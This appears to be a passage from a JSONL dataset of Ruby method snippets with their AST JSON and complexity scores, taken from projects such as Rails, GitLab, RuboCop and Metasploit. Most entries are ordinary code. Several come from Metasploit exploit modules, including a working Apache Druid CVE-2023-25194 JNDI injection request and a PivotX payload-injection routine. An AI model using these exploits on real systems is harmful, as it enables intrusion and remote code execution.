Started\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"conversation_activity_score\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_key\"]},{\"type\":\"str\",\"children\":[\"conversation_activity_code\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"brand_name\"]}]},{\"type\":\"str\",\"children\":[\" Conversation Transcript\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"transcript_activity_score\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_key\"]},{\"type\":\"str\",\"children\":[\"transcript_activity_code\"]}]}]}]},\"freeze\"]}]}","id":"38e7a48d-e1ff-473c-9d3d-7f72cd38b9b6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_druid_cve_2023_25194.rb","start_line":116,"raw_source":"def trigger\n data = {\n type: 'kafka',\n spec: {\n type: 'kafka',\n ioConfig: {\n type: 'kafka',\n consumerProperties: {\n \"bootstrap.servers\": \"#{Faker::Internet.ip_v4_address}:#{Faker::Number.number(digits: 4)}\",\n \"sasl.mechanism\": 'SCRAM-SHA-256',\n \"security.protocol\": 'SASL_SSL',\n \"sasl.jaas.config\": \"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\\"#{jndi_string}\\\" useFirstPass=\\\"true\\\" serviceName=\\\"#{Rex::Text.rand_text_alphanumeric(5)}\\\" debug=\\\"true\\\" group.provider.url=\\\"#{Rex::Text.rand_text_alphanumeric(5)}\\\";\"\n },\n topic: Rex::Text.rand_text_alpha(8..12).to_s,\n useEarliestOffset: true,\n inputFormat: { type: 'regex', pattern: '([\\\\s\\\\S]*)', listDelimiter: (SecureRandom.uuid.gsub('-', '')[0..20]).to_s, columns: ['raw'] }\n },\n dataSchema: { dataSource: Rex::Text.rand_text_alphanumeric(5..10).to_s, timestampSpec: { column: Rex::Text.rand_text_alphanumeric(5..10).to_s, missingValue: DateTime.now.utc.iso8601.to_s }, dimensionsSpec: {}, granularitySpec: { rollup: false } },\n tuningConfig: { type: 'kafka' }\n },\n samplerConfig: { numRows: 500, timeoutMs: 15000 }\n }\n\n @search_received = false\n\n send_request_cgi(\n 'uri' => normalize_uri(target_uri, '/druid/indexer/v1/sampler') + '?for=connect',\n 'method' => 'POST',\n 'ctype' => 'application/json',\n 'data' => data.to_json\n )\n end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"kafka\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spec\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"kafka\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ioConfig\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"kafka\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"consumerProperties\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bootstrap.servers\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Internet\"]},\"ip_v4_address\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Number\"]},\"number\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digits\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sasl.mechanism\"]},{\"type\":\"str\",\"children\":[\"SCRAM-SHA-256\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"security.protocol\"]},{\"type\":\"str\",\"children\":[\"SASL_SSL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sasl.jaas.config\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jndi_string\"]}]},{\"type\":\"str\",\"children\":[\"\\\" useFirstPass=\\\"true\\\" serviceName=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\"\\\" debug=\\\"true\\\" group.provider.url=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\"\\\";\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[12]}]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"useEarliestOffset\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inputFormat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pattern\"]},{\"type\":\"str\",\"children\":[\"([\\\\s\\\\S]*)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"listDelimiter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[20]}]}]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"raw\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dataSchema\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dataSource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestampSpec\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missingValue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]},\"utc\"]},\"iso8601\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dimensionsSpec\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"granularitySpec\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rollup\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tuningConfig\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"kafka\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"samplerConfig\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"numRows\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeoutMs\"]},{\"type\":\"int\",\"children\":[15000]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@search_received\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"/druid/indexer/v1/sampler\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"?for=connect\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_json\"]}]}]}]}]}]}","id":"899243fd-94f9-4236-ba36-6d2df120d1df"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":292,"raw_source":"def capture_host_sockets\n self.host_sockets = if resource.kind_of?(Host)\n resource.hardware.try(:cpu_sockets)\n elsif resource.respond_to?(:hosts)\n resource.hosts.includes(:hardware).collect { |h| h.hardware.try(:cpu_sockets) }.compact.sum\n end\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_host_sockets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"host_sockets=\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"hardware\"]},\"try\",{\"type\":\"sym\",\"children\":[\"cpu_sockets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"hosts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"hosts\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"hardware\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"hardware\"]},\"try\",{\"type\":\"sym\",\"children\":[\"cpu_sockets\"]}]}]},\"compact\"]},\"sum\"]},null]}]}]}]}","id":"cbfcfcfb-17f2-4fb1-8838-da588fa4c33a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache.rb","start_line":18,"raw_source":"def delete(key)\n Rails.cache.delete(key)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"cb3dcc9f-cdc6-4769-ac15-c6ebd0e7e2b8"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_user.rb","start_line":39,"raw_source":"def click_unsuspend_button\n find(\".btn-danger.unsuspend-user\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_unsuspend_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".btn-danger.unsuspend-user\"]}]},\"click\"]}]}","id":"fea678de-b683-40c6-b5f3-9b0baf3bba98"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/name_similarity.rb","start_line":15,"raw_source":"def find_similar_names(target_name, names)\n # DidYouMean::SpellChecker is not available in all versions of Ruby, and\n # even on versions where it *is* available (>= 2.3), it is not always\n # required correctly. So we do a feature check first.\n # See: https://github.com/rubocop/rubocop/issues/7979\n return [] unless defined?(DidYouMean::SpellChecker)\n\n names = names.dup\n names.delete(target_name)\n\n spell_checker = DidYouMean::SpellChecker.new(dictionary: names)\n spell_checker.correct(target_name)\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_similar_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_name\"]},{\"type\":\"arg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DidYouMean\"]},\"SpellChecker\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"target_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"spell_checker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DidYouMean\"]},\"SpellChecker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dictionary\"]},{\"type\":\"lvar\",\"children\":[\"names\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spell_checker\"]},\"correct\",{\"type\":\"lvar\",\"children\":[\"target_name\"]}]}]}]}","id":"6ac72c22-fd24-4ada-bde8-467cbf6e5aa8"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/products_controller.rb","start_line":355,"raw_source":"def check_slug_availability\n new_slug = permitted_resource_params[:slug]\n permitted_resource_params[:slug] = @product.ensure_slug_is_unique(new_slug)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_slug_availability\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_slug\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"slug\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@product\"]},\"ensure_slug_is_unique\",{\"type\":\"lvar\",\"children\":[\"new_slug\"]}]}]}]}]}","id":"3142e8e6-fbe5-4462-8834-bcb4d7c020ae"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/inputs/string_input.rb","start_line":31,"raw_source":"def validate_options(value)\n return unless options && value\n return if options.map(&:to_s).include?(value)\n\n error(\"`#{value}` cannot be used because it is not in the list of allowed options\")\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"` cannot be used because it is not in the list of allowed options\"]}]}]}]}]}","id":"a645355a-b2ce-40a4-b955-b49b67b63793"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/theme.rb","start_line":80,"raw_source":"def self.license\n metadata[:license]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"license\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"license\"]}]}]}","id":"6be30793-1f45-4b96-8ed5-944b260e5d3d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pivotx_index_php_overwrite.rb","start_line":154,"raw_source":"def exploit\n vprint_status('Logging in PivotX')\n login\n vprint_status('Modifying file and injecting payload')\n modify_file\n vprint_status('Triggering payload')\n trigger_payload\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Logging in PivotX\"]}]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Modifying file and injecting payload\"]}]},{\"type\":\"send\",\"children\":[null,\"modify_file\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Triggering payload\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_payload\"]}]}]}","id":"3c4e8c14-a502-4143-b500-164a5664744f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/select_core.rb","start_line":52,"raw_source":"def eql?(other)\n self.class == other.class &&\n self.source == other.source &&\n self.set_quantifier == other.set_quantifier &&\n self.optimizer_hints == other.optimizer_hints &&\n self.projections == other.projections &&\n self.wheres == other.wheres &&\n self.groups == other.groups &&\n self.havings == other.havings &&\n self.windows == other.windows &&\n self.comment == other.comment\n end","complexity_score":62.8,"ast_json":"{\"type\":\"def\",\"children\":[\"eql?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"set_quantifier\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"set_quantifier\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"optimizer_hints\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"optimizer_hints\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"projections\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"projections\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"wheres\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"wheres\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"groups\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"havings\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"havings\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"windows\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"windows\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"comment\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"comment\"]}]}]}]}","id":"d3abb186-7224-4025-b267-70878f5e1255"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/single_line_methods.rb","start_line":114,"raw_source":"def move_comment(node, corrector)\n LineBreakCorrector.move_comment(\n eol_comment: processed_source.comment_at_line(node.source_range.line),\n node: node, corrector: corrector\n )\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LineBreakCorrector\"]},\"move_comment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eol_comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comment_at_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"line\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]}]}]}]}","id":"dd1bbfc0-4454-4125-b2a8-8ea6a5d560d0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_partitioned_uploads_spec.rb","start_line":535,"raw_source":"def create_import_export_upload_upload(model: nil, delete_model: false)\n model ||= create_import_export_upload\n create_upload('ImportExportUpload', model, delete_model: delete_model)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_import_export_upload_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"model\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"delete_model\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"create_import_export_upload\"]}]},{\"type\":\"send\",\"children\":[null,\"create_upload\",{\"type\":\"str\",\"children\":[\"ImportExportUpload\"]},{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_model\"]},{\"type\":\"lvar\",\"children\":[\"delete_model\"]}]}]}]}]}]}","id":"6f3c61a7-0426-401c-ab21-e10c5f27696b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":182,"raw_source":"def redirect_to_polymorphic\n redirect_to [:internal, Workshop.new(5)]\n end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_polymorphic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"internal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workshop\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}","id":"c0763cab-45eb-4246-94e1-8d60e7e20555"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/helper/lane_helper.rb","start_line":4,"raw_source":"def self.current_platform\n return Fastlane::Actions.lane_context[Fastlane::Actions::SharedValues::PLATFORM_NAME]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_platform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"SharedValues\"]},\"PLATFORM_NAME\"]}]}]}]}","id":"8d9b3346-d2f5-4de2-a2d2-77dcaed214eb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb","start_line":75,"raw_source":"def rcpt_to\n \"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]\"\n 